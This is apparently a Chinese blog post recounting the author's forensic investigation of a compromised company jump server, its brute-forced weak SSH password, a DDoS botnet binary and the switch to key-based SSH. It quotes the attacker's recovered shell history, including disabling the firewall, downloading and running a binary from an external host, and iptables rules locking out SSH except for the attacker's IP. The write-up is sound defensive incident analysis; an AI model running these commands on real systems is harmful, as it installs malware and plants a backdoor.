摘要：事件背景回想起來應(yīng)該算是去年的事情了時值年月日早上當(dāng)時我正忙碌于開發(fā)手頭的一個珠寶分銷系統(tǒng)項目由于已經(jīng)進行了多日封閉式開發(fā)項目初見效果準(zhǔn)備放到內(nèi)網(wǎng)服務(wù)器上跑跑看項目的一些功能需要通過公網(wǎng)才能訪問于是便打算通過一臺之前就架設(shè)在公網(wǎng)的服務(wù)器上做

回想起來應(yīng)該算是去年的事情了, 時值 2019 年 1 月 24 日早上, 當(dāng)時我正忙碌于開發(fā)手頭的一個珠寶分銷系統(tǒng)項目, 由于已經(jīng)進行了多日封閉式開發(fā), 項目初見效果, 準(zhǔn)備放到內(nèi)網(wǎng)服務(wù)器 A 上跑跑看. 項目的一些功能需要通過公網(wǎng)才能訪問, 于是便打算通過一臺之前就架設(shè)在公網(wǎng)的服務(wù)器 B上做 SSH 端口轉(zhuǎn)發(fā), 將服務(wù)器 A 指定端口映射到服務(wù)器 B 上. 多次嘗試服務(wù)器賬號密碼進行 SSH 連接, 發(fā)現(xiàn)居然一直無法連上, 怕是被其它同事改了密碼, 但是詢問下發(fā)現(xiàn)其它人也無法連上.

首先, 不可能是服務(wù)器物理機宕機, 因為服務(wù)器 B 根本不是一臺真正的物理機, 而只是用 Vmware 開出來的一臺虛擬機, 由于配置了外網(wǎng)地址的虛擬網(wǎng)卡, 所以可以通過外網(wǎng)訪問. 這里說一下, 公司的網(wǎng)絡(luò)平時都是跑在內(nèi)網(wǎng)的, 有前輩寫好的(也有可能是買其他公司的)的網(wǎng)絡(luò)管理服務(wù)端, 項目本身也只允許跑在內(nèi)網(wǎng)服務(wù)器, 需要外網(wǎng)訪問只好用穿透技術(shù). Vmware 的穩(wěn)定性還是很好的, 上面的其他服務(wù)器仍然堅挺. 好在 Vmware 擁有虛擬機的直接控制權(quán)限, 發(fā)現(xiàn)依然可以使用 root 用戶登錄服務(wù)器 B, 這說明服務(wù)器密碼尚未修改, 只是 SSH 出于什么原因掛了, 導(dǎo)致無法通過遠(yuǎn)程 SSH 登錄.

直接在 Vmware 管理界面用 root 用戶登錄, 通過ps auxf命令發(fā)現(xiàn) sshd 進程依然跑得好好的, 最近的 updatetime 是很久之前. 另外, 可以通過ping命令得到服務(wù)器的回應(yīng). 查看路由器的流量數(shù)據(jù), 發(fā)現(xiàn)這臺服務(wù)器居然在短短的 10 多天內(nèi)有近 3TB 的上傳流量. 而這臺服務(wù)器作為跳板機根本沒跑什么其它高流量的服務(wù), 顯然這臺服務(wù)器是被攻擊了.

先使用netstat -anp命令查看 TCP 連接情況, 發(fā)現(xiàn)這臺服務(wù)器已經(jīng)和182.100.67.***, 和 23.234.14.**兩臺意義不明的服務(wù)器建立了連接, 查看 whois 發(fā)現(xiàn) 182.100.67.***是屬于江西新余的IP, 而23.234.14.**居然是美國洛杉磯的. 看來攻擊者為了攻擊花了不少心思, 尋思用匿名的跳板機來混淆視線. 介于此時已經(jīng)無法使用 SSH 遠(yuǎn)程登錄, 攻擊者應(yīng)該是針對 sshd 做了什么動作, 攻擊者八成是已經(jīng)拿到 Shell 了, 而且由于監(jiān)測到異常流量, 攻擊者應(yīng)該是在這臺服務(wù)器中跑了什么病毒進程, 無奈ps auxf 列出的進程較多, 很多還是系統(tǒng)進程, 一時不好判斷哪個是病毒進程. 查看 user 發(fā)現(xiàn)除了 root 沒有新的用戶被新建, 就打算用history看看會不會記錄攻擊者的攻擊痕跡, 結(jié)果是, 居然沒有.

但是要注意到 linux 的history是會話隔離的, 同一個用戶用不同的會話登錄, 不同的會話有不同的命令歷史, 只有在所有會話關(guān)閉之后才會將不同會話的歷史合并, 比如:

session A:
$ echo session_a
$ history    
1  echo session_a
2  history

# 不關(guān)閉 session A, session B 無法拿到 session A 的歷史
session B:
$ echo session_b
1  echo session_b
2  history

# 關(guān)閉 session A 和 session B 之后 打開 session C:
session c:
$ history
1 echo session_a
2 history
3 echo session_b
4 history

也就是說, 如果攻擊者仍然與這臺服務(wù)器保持著 SSH 連接, 是無法看到命令行歷史的. 于是重啟 sshd 進程強制中斷連接. 再次連接, 這時發(fā)現(xiàn)了不得了的事情, 下面是攻擊者的關(guān)鍵命令行歷史(一些無用的命令刪掉了):

56  shutdown -h now
57  netstat -anp|grep 443
58  vi /etc/ssh/sshd_config 
59  service sshd restart

60  netstat -anp|grep 443
61  kill 2322
64  ifconfig
65  tcpdump -i ens160 port 443 -nn -s0 

66  systemctl status firewalld 
67  systemctl stop firewalld
68  systemctl disable firewalld

71  netstat -anp|grep ssh
72  kill -9 2396
73  netstat -anp|grep ssh
89  service sshd restart

90  cd /usr/bin
91  wget http://23.234.14.**:12345/servicese
92  chmod 777 servicese
93  ./servicese

96  ifconfig
97  iptables -I INPUT -p tcp --dport 22 -j DROP
98  iptables -I INPUT -s 182.100.67.*** -p tcp --dport 22 -j ACCEPT

看這些命令, 操作很流暢.

首先 vi /etc/ssh/sshd_config 修改 sshd 配置, 估計攻擊者意圖查看 sshd 的連接方式.

然后查看運行在 443 端口的進程并殺死, 這很奇怪, 印像中這服務(wù)器當(dāng)初并沒有在 443 跑什么東西, 攻擊者為了保證 443 沒有連接還用tcp dump抓取網(wǎng)卡的 443 端口的包.

之后攻擊者關(guān)閉了防火墻firewalld.

攻擊者再次重啟了 sshd.

關(guān)鍵的地方, 攻擊者開始注入病毒程序, 進入/usr/bin, 使用wget從http://23.234.14.**:12345把病毒程序servicese下載, 更改權(quán)限為777使程序能夠被執(zhí)行, ./servicese運行病毒程序.

可恥的地方, 攻擊者之前關(guān)閉了firewalld防火墻, 這里居然使用iptables加入 IP 限制, 把所有連接到 22 端口的 TCP 連接都拒掉, 即: iptables -I INPUT -p tcp --dport 22 -j DROP, 這直接導(dǎo)致之前無法通過 ssh 遠(yuǎn)程連接上, 但是攻擊者留了一個后門, 就是允許182.100.67.***這個 IP 通過 22 端口進行 ssh 連接, 也就是之前查到的江西新余的 IP.

現(xiàn)在攻擊者的攻擊方式很明了, 看起來攻擊者并沒有想象中的高明, 也從進程中找到了servicese進程, 說實話, servicese這個程序名還是有點意思的, 因為和系統(tǒng)的守護進程service長得比較像, 導(dǎo)致無法一眼看出這個程序有什么不對勁. 后面用 nmap 對美國的 IP 和新余的 IP 進行端口掃描了一下, 發(fā)現(xiàn)新余機子是一臺 windows2008, 確實應(yīng)該是攻擊者用來攻擊并連接的服務(wù)器, 而美國的服務(wù)器只是一個 http 服務(wù)器, 提供病毒程序的下載源地址. 發(fā)現(xiàn)被攻擊的時候, http://23.234.14.**:12345依然可以訪問, 可以直接從那里下載病毒程序, 不過現(xiàn)在是被攻擊者主動關(guān)閉, 無法訪問.

那么攻擊者是如何拿到服務(wù)器的權(quán)限呢? 說起來也有點丟人, 猜測應(yīng)該是暴力破解了. 因為這臺服務(wù)器平時只是作為跳板機, 所以連接密碼是弱密碼, 很容易通過彩虹表或者試錯 猜出來. 這里告誡各位: 代碼千萬行, 安全第一條, 密碼太弱雞, 開發(fā)兩行淚.

現(xiàn)在要確定病毒程序servicese到底對服務(wù)器做了什么. 使用tail命令查看servicese二進制文件的最后幾行的內(nèi)容, 發(fā)現(xiàn)了:

gnu_cxx15__mt_alloc_baseIjE9constructEPjRKj_ZNSt13runtime_errorC1ERKSs_nl_load_locale_from_archivewctrans_ZTS8CSubTask_ZNKSt12_Vector_baseIP14CThreadHttpGetSaIS1_EE13get_allocator

gnu_cxx15,runtime_error,Vector_baseIP14CThread等詞直接表明這是一個使用 CPP 編寫的程序, 于是采用 C 語言強大的反編譯神器 IDA 對源程序進行反編譯, 看能不能找到什么線索. 這里注意, 當(dāng)病毒程序被從服務(wù)器拷貝到本地 windows 的時候, 直接就被 windows defender 給清理掉了, 可見這應(yīng)該是一個已經(jīng)被記錄在案的病毒程序.

我并不打算詳細(xì)說 IDA 的分析過程, 只是在審查病毒程序的函數(shù)時發(fā)現(xiàn)了名為MainBeikong的函數(shù), 然后網(wǎng)上一搜, 就發(fā)現(xiàn)了 360 團隊發(fā)出的這篇文章:某僵尸網(wǎng)絡(luò)被控端惡意樣本分析. 這篇文章描述的病毒樣本和我手上的這個病毒程序有驚人的相似度:

都是 1223123 字節(jié), 但是 MD5 貌似不一樣, 我這邊的是cde16928b968cb087c961a258ba45442, 文章給出的是 EFF1CB4E98BCC8FBCBDCA671D4C4A050, 應(yīng)該是有改動;

使用readelf獲得的源代碼文件名完全一致;

病毒的攻擊目標(biāo)相似: 網(wǎng)絡(luò)中bot節(jié)點多是一些存在弱口令或軟件漏洞的 linux 主機, 這臺服務(wù)器屬于弱口令目標(biāo).

攻擊后端癥狀相似, 病毒在獲得服務(wù)器控制權(quán)后會執(zhí)行對外 DDOS 攻擊, 也就是說此時服務(wù)器稱為了攻擊者的肉雞, 攻擊者可以使用服務(wù)器的 CPU 資源和網(wǎng)路資源對其它服務(wù)器進行流量攻擊, 其攻擊力度可以參考 360 團隊那篇文章描述的, 這也就是為什我這邊的路由器會有高額的異常流量.

下面是readelf的結(jié)果:

正如 360 團隊那篇文章所言:

通過此樣本可以發(fā)現(xiàn)黑產(chǎn)團隊的 DDoS 攻擊實力已經(jīng)到了"比較嫻熟"的地步, 而根據(jù)樣本中不同部分的不同代碼風(fēng)格猜測黑產(chǎn)團隊可能存在多人多團隊合作的編程方式或"黑吃黑"的代碼盜用情況

可見現(xiàn)在的互聯(lián)網(wǎng)攻擊確實不容小覷, 必須時刻注意安全問題.

在了解到了該病毒程序的主要功能之后, 自然是不能讓它繼續(xù)作惡了, 在和同事交流之后決定采用比較徹底的方式: 把相關(guān)的攻擊細(xì)節(jié)備份留作警示后直接關(guān)閉這個 Vmware 的虛擬機, 然后新開一臺虛擬機代替原來的, 新的服務(wù)器不采用 ssh 賬號密碼登錄, 而是直接采用證書的形式訪問. 也就是編輯/etc/ssh/sshd_config為:

PasswordAuthentication no

然后為服務(wù)器生成證書, 詳細(xì)過程可以參考: 設(shè)置 SSH 通過密鑰登錄,
一般而言密鑰登錄是不容易被攻破的.